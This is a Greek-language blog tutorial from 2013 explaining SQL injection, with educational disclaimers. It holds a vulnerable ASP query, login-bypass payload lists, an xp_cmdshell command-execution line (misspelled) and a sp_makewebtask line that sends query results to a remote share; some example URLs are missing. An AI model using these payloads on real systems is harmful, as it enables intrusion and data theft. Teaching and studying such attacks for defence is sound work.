!ΠΡΟΣΟΧΗ ΠΡΟΣ ΤΟΥΣ ΑΝΑΓΝΩΣΤΕΣ!

ΠΡΟΣΟΧΗ ΠΡΟΣ ΤΟΥΣ ΑΝΑΓΝΩΣΤΕΣ!
**** Σε αυτό το blog μερικά από τα άρθρα είναι αναδημοσιεύσεις από άρθρα του διαδικτύου και άλλα είναι προσωπικά tutorial που αναφέρονται σε διάφορα θέματα. Τα παραπάνω έγιναν για ενημέρωση του κοινού και εμπλουτισμό της εκπαιδευτικής διεύρυνσης. Όλα τα άρθρα είναι για εκπαιδευτικούς και μόνο σκοπούς. Δεν φέρω καμία ευθύνη εάν κάποιος αναγνώστης τα χρησιμοποιήσει κακόβουλα. ****

Παρασκευή 25 Ιανουαρίου 2013

SQL injection

Σε αυτό το tutorial θα ασχοληθούμε με τη μέθοδο των SQL injections όπου οι κακόβουλοι χρήστες επιδιώκουν να εκμεταλλευτούν ευπάθειες στην ασφάλεια μιας εφαρμογής web, ώστε να επέμβουν στα δεδομένα της βάσης. Ως μέθοδος επίθεσης δεν είναι νέα ούτε πολύπλοκη. Για την εφαρμογή των SQL injections αρκεί απλά ένας web browser και κοινή λογική – έτσι οι επιθέσεις SQL injections εμφανίστηκαν ταυτόχρονα με τις πρώτες εφαρμογές web.
Σε αυτό το μέρος του άρθρου θα ασχοληθούμε με την παρουσίαση των SQL injections – τί είναι και πώς γίνονται, με σκοπό την κατανόηση του προβλήματος. Σε επόμενη ανάρτηση θα δούμε τρόπους αντιμετώπισης του προβλήματος, δηλαδή πώς μπορούμε να αποφύγουμε τη συγκεκριμένη ευπάθεια σε εφαρμογές web που αναπτύσσουμε.
Σκοπός των επίθεσεων SQL injections είναι η εκμετάλλευση συγκεκριμένων αδυναμιών μιας εφαρμογής web, ώστε να εκτελεστούν στη βάση δεδομένων επερωτήσεις SQL (SQL queries) που δεν έχουν προβλεφθεί από τους προγραμματιστές.
Παραδείγματα τέτοιων επερωτήσεων είναι η προβολή (SELECT) δεδομένων που δεν έχει προβλεφθεί να προβάλλονται στους χρήστες, η ανεξέλεγκτη εισαγωγή (INSERT) δεδομένων στη βάση και η διαγραφή (DELETE) δεδομένων από τη βάση.
Παρά το αυξημένο ρίσκο, θεωρείται σήμερα μεγάλος ο αριθμός των συστημάτων τα οποία είναι ευάλωτα στις επιθέσεις SQL Injections. Το ευχάριστο είναι ότι ως απειλή εύκολα μπορεί να διερευνηθεί σε μια εφαρμογή και με κατάλληλη πρόβλεψη να αποφευχθεί.

Πως γίνεται;

Στα SQL injections ένας κακόβουλος χρήστης προσπαθεί να εκμεταλλευτεί την ελλιπή ή λανθασμένη επαλήθευση (validation) των δεδομένων εισόδου (input data) μιας εφαρμογής. Τυπικά η ευπάθεια των SQL injections μπορεί να εμφανίζεται και σε μη web εφαρμογές, όμως εκεί είναι σαφώς πιο σπάνιο. Συνήθεις τρόποι όπου οι χρήστες δίνουν δεδομένα εισόδου σε μια εφαρμογή web είναι οι φόρμες (με τις μεθόδους HTTP GET και POST) και τα links (μέθοδος HTTP GET). Στην περίπτωση ελλιπούς επαλήθευσης των δεδομένων εισόδου είναι σε κάποιες περιπτώσεις δυνατόν να περαστούν extra εντολές SQL προς εκτέλεση στην εφαρμογή ή να αλλαχτούν μέρη μιας επερώτησης SQL με τρόπο που δεν έχει προβλεφθεί.

Τι χρειάζεται κάποιος για να κάνει την παραπάνω επίθεση;

Απλά έναν web browser.

Τι πρέπει να ψάξει για να κάνει κάποιος τη συγκεκριμένη επίθεση;

Σελίδες που επιτρέπουν την εισαγωγή δεδομένων όπως login page, search page, feedback κλπ. Μερικές φορές ακόμα και HTML σελίδες χρησιμοποιούν POST εντολές για να στείλουν τις σχετικές παραμέτρους σε κάποια σελίδα ASP. Οπότε σε αυτή την περίπτωση δεν θα δείτε τις παραμέτρους αυτές στην URL, αλλά μόνο αν ελέγξετε τον source code και ψάξετε και βρείτε το σημείο “FORM” μέσα στον κώδικα πχ

<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>

Οτιδήποτε υπάρχει μεταξύ FORM & /FORM είναι πιθανές παράμετροι που θα μπορεί κάποιος να χρησιμοποιήσει.

Τι γίνεται αν δεν βρίσκουμε σελίδα που να δέχεται εισαγωγή δεδομένων;

Θα πρέπει να ψάξετε σελίδα ASP, JSP, CGI ή PHP. Αυτό που θα πρέπει να ψάχνει κάποιος είναι σελίδες όπως:


Αλλά γιατί ' or 1=1--;

Πέραν του ότι μπορεί να γίνει bypass το login, είναι πιθανόν να δει κάποιος επιπλέον πληροφορίες που συνήθως δεν είναι διαθέσιμες. Αν πχ παμε σε μία σελίδα που έχει link σε μία άλλη σελίδα όπως


Βλέπουμε ότι στο URL η μεταβλητή είναι το category, ενώ το hardware είναι η τιμή για την μεταβλητή. Αυτό που πλευρά κώδικα θα εμπεριέχει κώδικα σαν και τον παρακάτω:

v_cat = request(“category")
sqlstr=”SELECT * FROM hardwr WHERE PCategory=’” & v_cat & “’”
set rs=conn.execute(sqlstr)

Έτσι με το παραπάνω το SQL που ουσιαστικά αντιστοιχεί τον συγκεκριμένο κώδικα μπορεί να γίνει:

SELECT * FROM hardwr WHERE PCategory=’hardware’

όπου το query θα φέρει πίσω αποτελέσματα για το hardware.
Οπότε σε αυτή την περίπτωση αν πάρουμε το url

Τώρα η μεταβλητή v_cat αντιστοιχεί στο "hardware' or 1=1--", οπότε αν το βάλουμε αυτό σε SQL query, θα έχουμε

SELECT * FROM hardwr WHERE Pcategory=’hardware’ or 1=1--‘

Τι έχουμε σε αυτή την περίπτωση; Ότι το query θα μας φέρει τα πάντα από τον πίνακα hardwr ασχέτως αν είναι ίσο με το hardware ή όχι. Η διπλή παύλα (--) λέει στον MS SQL server να αγνοήσει το υπόλοιπο query, το οποίο με την σειρά του θα παρατήσει το τελευταίο quote (‘). Μερικές φορές η διπλή παύλα μπορεί να αντικατασταθεί με το σύμβολο της δίεσης (#).
Παρόλα αυτά όμως, αν δεν είναι SQL server ή δεν μπορείς (ή δεν θες) να αγνοήσεις το υπόλοιπο query, μπορούμε επίσης να δοκιμάσουμε να βάλουμε ‘ or 'a'='a

Οπότε το SQL query θα γίνει:

SELECT * FROM hardwr WHERE PCategory=’hardware’ or ‘a’=’a’

Και θα έχουμε το ίδιο αποτέλεσμα. Αντίστοιχα μπορείτε να δοκιμάσετε:
‘ or 1=1--
“ or 1=1--
or 1=1--
‘ or ‘a’=’a
“ or “a”=”a
‘) or (‘a"=‘a

Μπορώ να αποκτήσω δυνατότητα απομακρυσμένη εκτέλεσης με SQL Injection;

Οι χρήστες SQL και δη οι developers, γνωρίζουν ότι ο SQL είναι ένα πολύ δυνατό εργαλείο και αυτό γιατί τους δίνει την δυνατότητα να κάνουν ΤΑ ΠΑΝΤΑ σε ένα σύστημα. Έτσι, επειδή ο SQL Server τρέχει σαν SYSTEM, αυτό σημαίνει ότι τα δικαιώματα που έχει είναι επιπέδου administrator στο σύστημα. Οπότε εύκολα από την στιγμή που μπορούμε να τρέξουμε ότι θέλουμε, με την χρήση stored procedures (που είσαι Νάσο;)

'; exec master..xp_cdmshel ‘ping 10.10.1.2'--

Σε περίπτωση που το μονό quote δεν δουλεύει, χρησιμοποιήστε διπλό. Το ερωτηματικό στην αρχή (η semi colon όπως το λένε στα ξένα) θα τερματίσει το SQL query που εκτελείται εκείνη την ώρα και θα μας επιτρέψει να ξεκινήσουμε μία νέα εντολή SQL. Για την επιβεβαίωση ότι η εντολή εκτελέστηκε σωστά μπορούμε να πάρουμε απάντηση από ping στην IP για να δούμε αν υπάρχει κάποιο πακέτο από τον server:
#tcpdump icmp
Αν δεν πάρουμε απάντηση από το Ping (που λέγετε Pong), και έχουμε μήνυμα λάθους που σχετίζεται με δικαιώματα, τότε πιθανόν ο administrator έχει περιορίσει την εκτέλεση των stored procedures στον Web User.

Πως μπορώ να πάρω το αποτέλεσμα του query μου;

Με την χρήση του sp_makewebtask:

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMAS.TABLES"
αλλά να έχετε υπόψη ότι ο φάκελος SHARE που θα βρίσκεται στην IP που θέλουμε πρέπει να έχει sharing pemissions σε Everyone.

Φυσικά υπάρχουν απαντήσεις και σε άλλα ερωτήματα όπως να πάρουμε αποτελέσματα από μία βάση με την χρήση μηνυμάτων λάθους από ODBC ή πως να τραβήξουμε όλα τα ονόματα στηλών από ένα πίνακα, ή πως τραβάμε ότι data θέλουμε, πως να βάλουμε δικά μας data κλπ.

Αν θέλετε να μάθετε περισσότερα για SQL Injection διαβάστε βιβλία που κυκλοφορούν στο διαδίκτυο ή δείτε τα παρακάτω link…


ΠΡΟΣΟΧΗ! Αυτός ο οδηγός εκμάθησης παρέχεται μόνο για εκπαιδευτικούς σκοπούς. Δε φέρω καμιά ευθύνη σε περίπτωση που χρησιμοποιηθεί για κακόβουλη χρήση και για εφαρμογή του σε τρίτους χωρίς την συγκατάθεση τους. Κάθε παράνομη εφαρμογή του οδηγού αυτού διώκεται ποινικά από το νόμο.

0 σχόλια:

Δημοσίευση σχολίου

Σημείωση: Μόνο ένα μέλος αυτού του ιστολογίου μπορεί να αναρτήσει σχόλιο.